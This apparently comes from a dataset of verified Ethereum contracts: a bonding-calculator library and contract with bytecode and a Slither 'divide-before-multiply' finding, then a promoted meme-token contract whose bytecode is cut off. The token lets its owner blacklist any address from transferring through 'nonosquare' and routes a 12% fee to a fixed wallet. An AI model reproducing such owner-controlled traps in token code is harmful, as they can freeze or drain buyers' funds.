if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
library BitMath {
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a uq112x112 into a uint with 18 decimals of precision
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
}
interface IUniswapV2ERC20 {
function totalSupply() external view returns (uint);
}
interface IUniswapV2Pair is IUniswapV2ERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns ( address );
function token1() external view returns ( address );
}
interface IBondingCalculator {
function valuation( address pair_, uint amount_ ) external view returns ( uint _value );
}
contract SINBondingCalculator is IBondingCalculator {
using FixedPoint for *;
using LowGasSafeMath for uint;
using LowGasSafeMath for uint112;
IERC20 public immutable SIN;
constructor( address _SIN ) {
require( _SIN != address(0) );
SIN = IERC20(_SIN);
}
function getKValue( address _pair ) public view returns( uint k_ ) {
uint token0 = IERC20( IUniswapV2Pair( _pair ).token0() ).decimals();
uint token1 = IERC20( IUniswapV2Pair( _pair ).token1() ).decimals();
uint pairDecimals = IERC20( _pair ).decimals();
(uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
if (token0.add(token1) < pairDecimals)
{
uint decimals = pairDecimals.sub(token0.add(token1));
k_ = reserve0.mul(reserve1).mul( 10 ** decimals );
}
else {
uint decimals = token0.add(token1).sub(pairDecimals);
k_ = reserve0.mul(reserve1).div( 10 ** decimals );
}
}
function getTotalValue( address _pair ) public view returns ( uint _value ) {
_value = getKValue( _pair ).sqrrt().mul(2);
}
function valuation( address _pair, uint amount_ ) external view override returns ( uint _value ) {
uint totalValue = getTotalValue( _pair );
uint totalSupply = IUniswapV2Pair( _pair ).totalSupply();
_value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 );
}
function markdown( address _pair ) external view returns ( uint ) {
( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
uint reserve;
if ( IUniswapV2Pair( _pair ).token0() == address(SIN) ) {
reserve = reserve1;
} else {
require(IUniswapV2Pair( _pair ).token1() == address(SIN), "not a SIN lp pair");
reserve = reserve0;
}
return reserve.mul( 2 * ( 10 ** SIN.decimals() ) ).div( getTotalValue( _pair ) );
}
function marketPrice( address _pair ) external view returns ( uint ) {
( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
uint reserve;
if ( IUniswapV2Pair( _pair ).token0() == address(SIN) ) {
reserve = reserve1;
return reserve.div(reserve0);
} else {
require(IUniswapV2Pair( _pair ).token1() == address(SIN), "not a SIN lp pair");
reserve = reserve0;
return reserve.div(reserve1);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106100725760003560e01c806368637549116100505780636863754914610128578063b3f81c461461015b578063c7cda4b21461018e57610072565b806332da80a3146100775780634249719f146100bc578063490084ef146100f5575b600080fd5b6100aa6004803603602081101561008d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101bf565b60408051918252519081900360200190f35b6100aa600480360360408110156100d257600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610521565b6100aa6004803603602081101561010b57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166105d6565b6100aa6004803603602081101561013e57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166109e9565b6100aa6004803603602081101561017157600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610a07565b610196610cbf565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b60008060008373ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561020a57600080fd5b505afa15801561021e573d6000803e3d6000fd5b505050506040513d606081101561023457600080fd5b508051602091820151604080517f0dfe168100000000000000000000000000000000000000000000000000000000815290516dffffffffffffffffffffffffffff938416965092909116935060009273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000804a4f2705f7bd08b1d84ae8698014a18c708dbc81169390891692630dfe1681926004808301939192829003018186803b1580156102e257600080fd5b505afa1580156102f6573d6000803e3d6000fd5b505050506040513d602081101561030c57600080fd5b505173ffffffffffffffffffffffffffffffffffffffff16141561033157508061045f565b7f000000000000000000000000804a4f2705f7bd08b1d84ae8698014a18c708dbc73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156103ae57600080fd5b505afa1580156103c2573d6000803e3d6000fd5b505050506040513d60208110156103d857600080fd5b505173ffffffffffffffffffffffffffffffffffffffff161461045c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f6e6f7420612053494e206c702070616972000000000000000000000000000000604482015290519081900360640190fd5b50815b61051661046b866109e9565b6105107f000000000000000000000000804a4f2705f7bd08b1d84ae8698014a18c708dbc73ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156104d457600080fd5b505afa1580156104e8573d6000803e3d6000fd5b505050506040513d60208110156104fe57600080fd5b5051849060ff16600a0a600202610ce3565b90610d07565b93505050505b919050565b60008061052d846109e9565b905060008473ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561057757600080fd5b505afa15801561058b573d6000803e3d6000fd5b505050506040513d60208110156105a157600080fd5b505190506105cd670de0b6b3a76400006105106105c66105c18886610d26565b610f35565b8590610ce3565b95945050505050565b6000808273ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561061f57600080fd5b505afa158015610633573d6000803e3d6000fd5b505050506040513d602081101561064957600080fd5b5051604080517f313ce567000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9092169163313ce56791600480820192602092909190829003018186803b1580156106b357600080fd5b505afa1580156106c7573d6000803e3d6000fd5b505050506040513d60208110156106dd57600080fd5b5051604080517fd21220a7000000000000000000000000000000000000000000000000000000008152905160ff909216925060009173ffffffffffffffffffffffffffffffffffffffff86169163d21220a7916004808301926020929190829003018186803b15801561074f57600080fd5b505afa158015610763573d6000803e3d6000fd5b505050506040513d602081101561077957600080fd5b5051604080517f313ce567000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9092169163313ce56791600480820192602092909190829003018186803b1580156107e357600080fd5b505afa1580156107f7573d6000803e3d6000fd5b505050506040513d602081101561080d57600080fd5b5051604080517f313ce567000000000000000000000000000000000000000000000000000000008152905160ff909216925060009173ffffffffffffffffffffffffffffffffffffffff87169163313ce567916004808301926020929190829003018186803b15801561087f57600080fd5b505afa158015610893573d6000803e3d6000fd5b505050506040513d60208110156108a957600080fd5b5051604080517f0902f1ac000000000000000000000000000000000000000000000000000000008152905160ff9092169250600091829173ffffffffffffffffffffffffffffffffffffffff891691630902f1ac91600480820192606092909190829003018186803b15801561091e57600080fd5b505afa158015610932573d6000803e3d6000fd5b505050506040513d606081101561094857600080fd5b5080516020909101516dffffffffffffffffffffffffffff9182169350169050826109738686610f62565b10156109b157600061098f6109888787610f62565b8590610f72565b90506109a9600a82900a6109a38585610ce3565b90610ce3565b9650506109df565b60006109c7846109c18888610f62565b90610f72565b90506109db600a82900a6105108585610ce3565b9650505b5050505050919050565b6000610a0160026109a36109fc856105d6565b610f82565b92915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610a5257600080fd5b505afa158015610a66573d6000803e3d6000fd5b505050506040513d6060811015610a7c57600080fd5b508051602091820151604080517f0dfe168100000000000000000000000000000000000000000000000000000000815290516dffffffffffffffffffffffffffff938416965092909116935060009273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000804a4f2705f7bd08b1d84ae8698014a18c708dbc81169390891692630dfe1681926004808301939192829003018186803b158015610b2a57600080fd5b505afa158015610b3e573d6000803e3d6000fd5b505050506040513d6020811015610b5457600080fd5b505173ffffffffffffffffffffffffffffffffffffffff161415610b88575080610b7e8184610d07565b935050505061051c565b7f000000000000000000000000804a4f2705f7bd08b1d84ae8698014a18c708dbc73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0557600080fd5b505afa158015610c19573d6000803e3d6000fd5b505050506040513d6020811015610c2f57600080fd5b505173ffffffffffffffffffffffffffffffffffffffff1614610cb357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f6e6f7420612053494e206c702070616972000000000000000000000000000000604482015290519081900360640190fd5b5081610b7e8183610d07565b7f000000000000000000000000804a4f2705f7bd08b1d84ae8698014a18c708dbc81565b6000821580610cfe57505081810281838281610cfb57fe5b04145b610a0157600080fd5b6000808211610d1557600080fd5b818381610d1e57fe5b049392505050565b610d2e611161565b60008211610d87576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806111746026913960400191505060405180910390fd5b82610da15750604080516020810190915260008152610a01565b71ffffffffffffffffffffffffffffffffffff8311610e8c57600082607085901b81610dc957fe5b0490507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff811115610e5757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250915050610a01565b6000610ea8846e01000000000000000000000000000085610fec565b90507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff811115610e5757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b516612725dd1d243ab7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091160490565b80820182811015610a0157600080fd5b80820382811115610a0157600080fd5b60006003821115610fde5750806000610fa6610f9f836002610d07565b6001610f62565b90505b81811015610fd857809150610fd1610fca610fc48584610d07565b83610f62565b6002610d07565b9050610fa9565b5061051c565b811561051c57506001919050565b6000806000610ffb86866110a6565b915091506000848061100957fe5b86880990508281111561101d576001820391505b808303925084821061109057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f77000000000000604482015290519081900360640190fd5b61109b8383876110f1565b979650505050505050565b600080807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848609905083850292508281039150828110156110e9576001820391505b509250929050565b6000818103821680838161110157fe5b04925080858161110d57fe5b04945080816000038161111c57fe5b60028581038087028203028087028203028087028203028087028203028087028203028087028203029586029003909402930460010193909302939093010292915050565b6040805160208101909152600081529056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726fa2646970667358221220750979e956410d38d6d34bb3b7f2d1b2e2c31e7709818b4ac0677b0ca8ca6c1764736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,572 |
0x11b07160a0b92123df22b2430b802fea46efeae8
|
/**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
/**
https://t.me/ulquiorrainu
Telegram: https://t.me/ulquiorrainu
Website: https://ulquiorra.xyz/
ULQUIORRAINU daily giveaway 👀🔥🔥
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ULQUIORRAINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "ULQUIORRAINU";
string private constant _symbol = "ULQUIORRAINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xfa1Fd3F19Db6833B3272337c3Da1Eb966B613553);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 12;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 12;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
_maxWalletSize = 2000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600c81526020017f554c5155494f525241494e550000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a0000000000